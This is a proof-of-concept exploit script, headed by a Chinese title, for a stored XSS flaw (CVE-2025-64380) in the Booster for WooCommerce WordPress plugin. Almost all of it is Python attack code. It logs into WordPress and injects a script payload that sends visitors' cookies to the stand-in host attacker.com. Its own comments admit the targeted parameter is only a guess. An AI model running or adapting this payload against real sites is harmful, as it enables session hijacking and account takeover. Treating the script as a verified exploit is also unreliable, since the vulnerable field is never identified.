CVE-2025-64380: Booster for WooCommerce插件存储型XSS漏洞

import requests import sys # CVE-2025-64380 PoC - Stored XSS in Booster for WooCommerce # Target: WordPress site with Booster for WooCommerce <= 7.3.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # XSS payload - steals cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def login_wp(): """Login to WordPress and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } response = session.post(login_url, data=data) return session if 'wordpress_logged_in' in session.cookies else None def exploit_stored_xss(session): """Inject XSS payload into vulnerable field""" # Target the vulnerable woocommerce-jetpack module # Adjust the endpoint based on the actual vulnerable parameter post_url = f"{TARGET_URL}/wp-admin/admin.php?page=wc-settings&tab=jetpack" # This payload targets the vulnerable input field # The actual vulnerable parameter needs to be identified through testing exploit_data = { 'jetpack_option_name': XSS_PAYLOAD, # Example parameter 'wc-jetpack-submit': 'Save' } response = session.post(post_url, data=exploit_data) return response.status_code == 200 def main(): print(f"[*] CVE-2025-64380 PoC - Booster for WooCommerce Stored XSS") print(f"[*] Target: {TARGET_URL}") session = login_wp() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Successfully authenticated") if exploit_stored_xss(session): print("[+] XSS payload injected successfully") print(f"[*] Payload: {XSS_PAYLOAD}") print("[*] Wait for admin to visit affected page to trigger XSS") else: print("[-] Failed to inject payload") if __name__ == "__main__": main()